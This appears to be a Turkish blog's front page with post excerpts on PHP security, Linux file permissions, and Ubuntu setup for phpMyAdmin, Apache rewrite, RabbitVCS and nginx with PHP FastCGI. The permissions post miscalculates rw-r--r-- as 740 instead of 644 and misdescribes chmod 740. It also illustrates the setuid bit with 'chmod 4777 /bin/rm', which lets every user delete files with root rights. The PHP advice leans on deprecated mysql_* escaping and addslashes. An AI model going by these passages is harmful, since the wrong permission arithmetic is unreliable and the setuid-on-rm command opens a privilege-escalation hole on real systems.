set_error_handler('my_warning_handler', E_WARNING);
Kullanıcı çok önemli bir işlem gerçekleştirmek istediğinde, sisteme zaten giriş yapmış olsa bile şifre istenebilir. Bunun örneklerini Facebook ve Twitter'in de uyguladığını görmekteyiz.
Get ve Post ile gelen verilerin atamasının yapılmadığı taktirde değişkenlere boşluk ataması yapmak gerekir . Bunu iki farklı şekilde yapabilirsiniz.
$search = (isset($_GET['search']) ? $_GET['search'] : '');
veya
$search = '';
if (isset($_GET['search']))
{
$search = $_GET['search'];
} Kredi kartı bilgisi gibi hassas veriler SSL ile aktarılmalıdır. Kullanıcıya kredi kartı bilgilerini göstereceğiniz zaman sadece son 4 hanenin gösterilmesi gibi yaklaşımlar benimsenebilir. Session değişkeni çok hassas bilgiler içerebileceğinden sunucu tarafında tutulmalıdır. Kullanıcı tarafından gönderilen verilerin düzeltilmeye çalışılmasının güvenlik açıklarına neden olabileceğini dikkate almak gerekiyor. $clean şeklinde bir değişken belirleyip güvenli olduğunu doğruladığımız değişkenleri bu array içerisine atabiliriz. Daha sonra kodun istenilen yerinde $clean dizisi içerisindeki değişkenleri güvenle kullanabiliriz. Kullanıcıya gösterilecek verilerin htmlentities( ) fonksiyonundan geçirilmesi gerekir. Bu fonksiyona ek parametrelerler vermemiz gerekir. Bunlar ENT_QUOTES ve UTF-8 parametreleridir. $html isimli arrayimizde de filtrelenmiş ve escape edilmiş verileri tutarız. $html = array( );$html['username'] = htmlentities($clean['username'],ENT_QUOTES, 'UTF-8');
echo "<p>Welcome back, {$html['username']}.</p>"; Veritabanı olarak mysql kullanıyorsanız query içerisinde kullanılacak verileri mysql_real_escape_string( ) fonsiyonundan geçirmeniz önemlidir. Eğer MySql kullanmıyorsanız son çare olarak addslashes( ) kullanmalısınız. $mysql = array( );$mysql['username'] =
mysql_real_escape_string($clean['username']);
$sql = "SELECT *
FROM profile
WHERE username = '{$mysql['username']}'";
$result = mysql_query($sql); KAYNAK: Essential PHP Security O'Rielly Devamı için : Php Guvenlik - 1Fatal error: Attempt to unset static property hatasi
unset(self::$test);Fatal error: Attempt to unset static property hatasını vermektedir. (ölümcül hata : static özelliği unset etmeye yönelik girişim). Bu hata aslında sizin bu işlemi yanlış yaptığınız yönündedir. Tavsiye : İlla böyle bir şeye ihtiyacınız var ise, değişkenin tipine göre boş string, Null veya false atayınız. Devamı için : Fatal error: Attempt to unset static property hatasi
21 Ekim 2012 Pazar
linux dosya ve dizin izinleri
-rw-rw-r-- | 1 | khantunckale | khantunckale | 792438 | Oct 19 20:52 | warning.jpg |
drwxrwxr-x | 2 | khantunckale | khantunckale | 4096 | Oct 18 15:14 | pictures/ |
-rw------- | 1 | khantunckale | khantunckale | 641 | Oct 18 01:59 | algoritma1.java~ |
-rw-r--r-- | 1 | root | root | 1324 | Oct 21 01:17 | mysql.txt |
-rw-rw-r-- | 1 | khantunckale | khantunckale | 0 | Sep 30 21:42 | mahmut.htm |
Dosya tipi | Sahibin yetkileri | Grubun yetkileri | Diğer kullanıcılar |
d | rwx | rwx | rwx |
- | rwx | --- | --- |
rwxrwxrwx | : | Dosyayı herkes okuyabilir, herkes bu dosyaya kayıt yapabilir, dosyanın adını değiştirebilir, dosyayı silebilir. Eğer bu bir program dosyası ise, herkes çalıştırabilir. |
rwxr-xr-x | : | Herkes okuyabilir ve program dosyası ise herkes çalıştırabilir. Ama sadece dosyanın sahibi bu dosyada değişiklik yapabilir. |
rwx------ | : | Bu dosyada sadece sahibi tüm işlemleri yapabilir, dosya diğer kullanıcılara kapalıdır. |
rw-r--r-- | : | Dosya program dosyası değil, çünkü kimsenin çalıştırma yetkisi yok. Sahibi okuyup yazabilir ancak diğer kullanıcılar sadece okuyabilir. |
rwx--x--x | : | Sahibi tüm işlemleri yapar, diğer kullanıcılar sadece çalıştırabilirler. |
Dosya izinleri nasıl değiştirilebilir?
Dosya ve dizin izinleri sadece sahipleri ve root kullanıcı tarafından tarafından değiştirilebilirler. Bunun için chmod komutu kullanılır . chmod komutu iki şekilde çalıştırılabilir, biri yeni iznin sayısal değerle verilmesi ile diğeri yapılacak değişikliğin sembolik olarak verilmesi ile. Örnek olarak, rw-r--r-- izinini inceleyelim. Verilen haklar için 1, verilmeyen haklar için 0 yazılarak, iznin 2 tabanındaki görüntüsünü elde edelim --> 110100100 Ardından bunu 10'luk tabana çevirelim --> 740 Dosyanın izinlerini, bunun gibi, yani kullanıcısına tüm hakları vermek ve diğer kullanıcıların hepsine sadece okuma iznini verme işlemini, şu şekilde gerçekleriz.chmod 740 dosya_ismiİzinleri ayarlarken chmod komutuna sembolik parametreler vermek de aşağıdaki şekilde yapılır. Kullanıcı gruplarının sembolleri : Dosya sahibi (user) : u , dosyanın grubu (group) : g, diğer kullanıcılar (others) : o İzinlerin sembollerinden yukarıda bahsetmiştik : Okuma (read) : r, yazma (write) : w, çalıştırma (execute) : x Dosyaya izinleri vermek için +, izinleri çıkartmak için - işareti kullanılır. Örneğin herkese okuma izini vermek için chmod +r dosya_ismi komutunu kullanabiliriz. Aynı şekilde dosyanın sahibine tüm hakları vermek için chmod u+rwx dosya_ismi komutunu kullanbiliriz.
Dosyanın sahibi nasıl değiştirilebilir?
Bir dosyanın sahibini sadece sistemdeki root kullanıcı değiştirilebilir. Dosya sahibinin değiştirilmesi için chown komutu kullanılır. O da şu şekildedir;chown zubizaretta dosya_ismiBu komut ile dosyanın sahibi zubizaretta olmuştur. Kullanıcı grubunu değiştirmek için de chgrp komutu kullanılır. Örneğin chgrp www dosya_ismi ile, dosyanın kullanıcı grubunu www yapabiliriz. Ayrıca chown komutu, dosyanın kullanıcısını değiştirebildiği gibi kullanucu grubunu da değiştirebilir. O da şu şekilde olur;
chown zubizaretta.www dosya_ismi
t ve s bitleri nedir?
Linux sistemlerde yetkilerin 3 bit uzunluğunda 3 bölümden nasıl oluştuğunu yukarıda kabaca inceledik. Ama aslında izinler için 3 bit uzunluğunda bir bölüm daha vardır. Yani biz, chmod 644 kullandığımızda aslında chmod 0644 kullanmış oluruz. Şimdi biraz bunun hakkında konuşalım. Normalde, (t biti dizinlere yerleştirilmeden) dosyaların silinebilmesi için, dizinin tuttuğu dosyalar, silen kişi tarafından okunabilir olmalı. Herkesin dosya koyabileceği bir dizinimiz varsa, burada herkes herkesin dosyasını silebilir anlamına gelmektedir. t biti bu kuralı değiştirir. t biti kullandığımızda, yalnızca dosya sahibi dosyaları silebilir. t bitini chmod 1777 şeklinde yada chmod a+tw şeklinde kullanbiliriz. Örnek vermek gerekirse, iki kullanıcının olduğu bir sistemde t biti kullanmadığımızda, bir kullanıcı kendine ait olmayan dosyayı silebiliyorken, t biti kullandığımızda bu işlemi gerçekleştiremez. Böylece t bitinin işaretli olduğu bir dizinde herkes kendi oluşturduğu dosya ve dizinleri silebilir. s biti genellikle çalıştırılabilir dosyalara uygulanır. Linux sistemlerde çalıştırılabilir bir dosyanın iki adet kullanıcı id'si mevcut olur. Bunlardan biri uygulamanın dosya sahibi, diğeri de uygulamayı çalıştıracak olan kullanıcıdır. s biti kullanıldığı zaman, uygulama, oturum açmış kullanıcı hakları ile değil uygulama dosyasının sahibinin hakları ile çalışır. Örneğin rm komutunu ele alalım. Rm komutu ile root kullanıcı tüm dizinleri ve dosyaları silmekte yetkilidir. Ancak diğer kullanıcılar sadece kendi home dizinlerinde bu komutu kullanabilirler. Root kullanıcının ana dizinde oluşturduğu bir dizini, normal kullanıcı silmeye çalıştığı zaman Permission denied hatası alacaktır. Ancak, chmod u+s /bin/rm (veya chmod 4777 /bin/rm ) komutunu çalıştırdığımız zaman, normal kullanıcı da root kullanıcı gibi silme hakkına sahip olur. Devamı için : linux dosya ve dizin izinleriAndroid Navigasyon
- Kapı numarasına kadar girebileceğimiz ayrıntılı bir Türkiye haritası
- Yeniden hesaplama süresinin kısa sürede tepki vermesi
- Sesli yönlendirmesinin net ve anlaşılır olması
- GPS bağlantı hızının yüksek olması
- Kavşak veya yol ayrılmarında doğru bir biçimde yönlendirme yapabilmesi
- Harita güncellemesi

18 Ekim 2012 Perşembe
ubuntu 12.10 yayinlandi! (nasil upgrade ederim?)

17 Ekim 2012 Çarşamba
Ubuntu Masaüstüne Kısayol Oluşturmak
sudo apt-get install --no-install-recommends gnome-panelHemencecik kurduk. Masaüstüne yeni bir kısayol oluşturmak içinde yine aşağıda belirteceğim komutu yazmanız gerekecek :
gnome-desktop-item-edit ~/Desktop/ --create-newBu komutu çalıştırdığınızda bir pencere açılacak. Bu pencereye kısayolunuzun ismini, kısayol program ise program yolunu, klasör ise pathini dosya ise yine dosya tam pathini vermeniz gerekiyor. Title ve icon gibi şeyleride seçtikten sonra okey diyoruz ve masaüstüne kısayolumuz geliyor. İşlem bu kadardır. Umarım işinize yarar. Saygılar sevgiler. Devamı için : Ubuntu Masaüstüne Kısayol Oluşturmak
Ubuntu phpMyAdmin Kurulumu
sudo apt-get install phpmyadminYukarıdaki komutu çalıştırarak phpmyadmin kurulumu yapmış oluyoruz. Ancak henüz ayarlarımız bitmedi.
sudo nano /etc/apache2/apache2.confKomutunu çalıştırarak apache web sunucumuzun ayarlarının bulunduğu dosyayı düzenleme moduna geçiyoruz. En alt satıra inerek aşağıdaki ayarları ekliyoruz.
Include /etc/phpmyadmin/apache.confSon olarakta apache web sunucumuzu yeniden başlatıyoruz.
sudo /etc/init.d/apache2 restarthttp://localhost/phpmyadmin diyerek phpMyAdmin'e erişebilirsiniz. Sizden giriş için mysql kullanıcı adı (root) ve şifresini isteyecektir. Eğer şifrenizibelirlemediyseniz veya unuttuysanız bu yazıyı okumanızı tavsiye ederim. İşlem bu kadardır. Afiyet olsun. Devamı için : Ubuntu phpMyAdmin Kurulumu
Ubuntu Rewrite Modulü Kurulumu (Etkinleştirilmesi)
sudo a2enmod rewriteYukarıdaki komutu çalıştırarak modülü etkinleştiriyoruz. Daha sonra ilgili projenizin vhost dosyasında birkaç düzenleme yapmamız gerekecek.
sudo nano /etc/apache2/site-available/defaultAçılan vhost dosyasında aşağıdaki değişiklikleri yapmanız gerekiyor. İlk açtığınızdaki durumunu ve yanına okla yapmanız gereken düzenlemeyi belirtiyorum. AllowOverride None -> AllowOverride All Görmüş olduğunuz tüm "AllowOverride None" ları "AllowOverride All" a çeviriyoruz ve kaydedip çıkıyoruz. Son olarak apache'yi yeniden başlatacağız.
sudo /etc/init.d/apache2 restartModül artık aktifleşti. Projenizde kullanabilirsiniz, hayırlı olsun. Devamı için : Ubuntu Rewrite Modulü Kurulumu (Etkinleştirilmesi)
16 Ekim 2012 Salı
ubuntu RabbitVCS kurulumu - TortoiseSVN alternatifi (ubuntu 12.04)
sudo add-apt-repository ppa:rabbitvcs/ppa
Ardından da install ediyoruz; sudo apt-get install rabbitvcs-core rabbitvcs-nautilus3 rabbitvcs-cli
Ayrıca eğer istiyorsak gedit extension da ekleyebiliriz; sudo apt-get install rabbitvcs-gedit
Bu işlemlerden sonra bilgisayarımızı yeniden başlattığımızda, versiyon kontrol sistemini rahatça kullanabiliriz. Yapmanız gereken sadece sağ tık! Devamı için : ubuntu RabbitVCS kurulumu - TortoiseSVN alternatifi (ubuntu 12.04)
Ubuntu nginx uzerine php fastcgi kurulumu (php-fcgi)
apt-get install php5-cli php5-cgi spawn-fcgi psmiscArtık sistemimizde php fcgi ile ilgili paketler yüklendi. Ancak bunu dürtecek bir mekanizmamız henüz yok. Bu yüzden nginx ayarlarında henüz bunu çağıramıyoruz. Şimdi bunu dürtebilir hale getirelim. Aşağıdaki içerikler ile /usr/bin/php-fcgi adında bir dosya üretelim. Bu dosyaya göre php 9000 nolu portta çalışacak, ve 127.0.0.1 (localhost) için hizmet verecektir. Bu hizmet www-data adlı kullanıcı ve www-data adlı grup ile ilgili oluşacaktır. /usr/bin/php-fcgi dosyası
#!/bin/bash FASTCGI_USER=www-data FASTCGI_GROUP=www-data ADDRESS=127.0.0.1 PORT=9000 PIDFILE=/var/run/php-fcgi/php-fcgi.pid CHILDREN=6 PHP5=/usr/bin/php5-cgi /usr/bin/spawn-fcgi -a $ADDRESS -p $PORT -P $PIDFILE -C $CHILDREN -u $FASTCGI_USER -g $FASTCGI_GROUP -f $PHP5Chmod vererek de çalıştırabilir hale getirelim. Bunun için de aşağıdaki kodu çalıştıralım :
chmod +x /usr/bin/php-fcgiHer şey yolunda gidiyor gibi gözüküyor. Ancak bu bir hizmet ve başlatma durdurma gibi özellikleri olması gerekiyor. yani özetle, /etc/init.d/ içerisine bir şeyler yapmamız gerekiyor. /etc/init.d/php-fcgi adlı bir dosya üretiniz. /etc/init.d/php-fcgi dosyası :
#!/bin/bash PHP_SCRIPT=/usr/bin/php-fcgi FASTCGI_USER=www-data FASTCGI_GROUP=www-data PID_DIR=/var/run/php-fcgi PID_FILE=/var/run/php-fcgi/php-fcgi.pid RET_VAL=0 case "$1" in start) if [[ ! -d $PID_DIR ]] then mkdir $PID_DIR chown $FASTCGI_USER:$FASTCGI_GROUP $PID_DIR chmod 0770 $PID_DIR fi if [[ -r $PID_FILE ]] then echo "php-fcgi already running with PID `cat $PID_FILE`" RET_VAL=1 else $PHP_SCRIPT RET_VAL=$? fi ;; stop) if [[ -r $PID_FILE ]] then kill `cat $PID_FILE` rm $PID_FILE RET_VAL=$? else echo "Could not find PID file $PID_FILE" RET_VAL=1 fi ;; restart) if [[ -r $PID_FILE ]] then kill `cat $PID_FILE` rm $PID_FILE RET_VAL=$? else echo "Could not find PID file $PID_FILE" fi $PHP_SCRIPT RET_VAL=$? ;; status) if [[ -r $PID_FILE ]] then echo "php-fcgi running with PID `cat $PID_FILE`" RET_VAL=$? else echo "Could not find PID file $PID_FILE, php-fcgi does not appear to be running" fi ;; *) echo "Usage: php-fcgi {start|stop|restart|status}" RET_VAL=1 ;; esac exit $RET_VAL
chmod +x /etc/init.d/php-fcgi update-rc.d php-fcgi defaults /etc/init.d/php-fcgi startTabi bu noktada nginx imizi de artık ayarlamamız gerekiyor. /etc/nginx/sites-available/www.deneme.com dosyası oluşturalım.
server { server_name www.deneme.com deneme.com; access_log /srv/www/www.deneme.com/logs/access.log; error_log /srv/www/www.deneme.com/logs/error.log; root /srv/www/www.deneme.com/public_html; location / { index index.html index.htm; } location ~ \.php$ { include /etc/nginx/fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /srv/www/www.deneme.com/public_html$fastcgi_script_name; } }
service nginx restartDevamı için : Ubuntu nginx uzerine php fastcgi kurulumu (php-fcgi)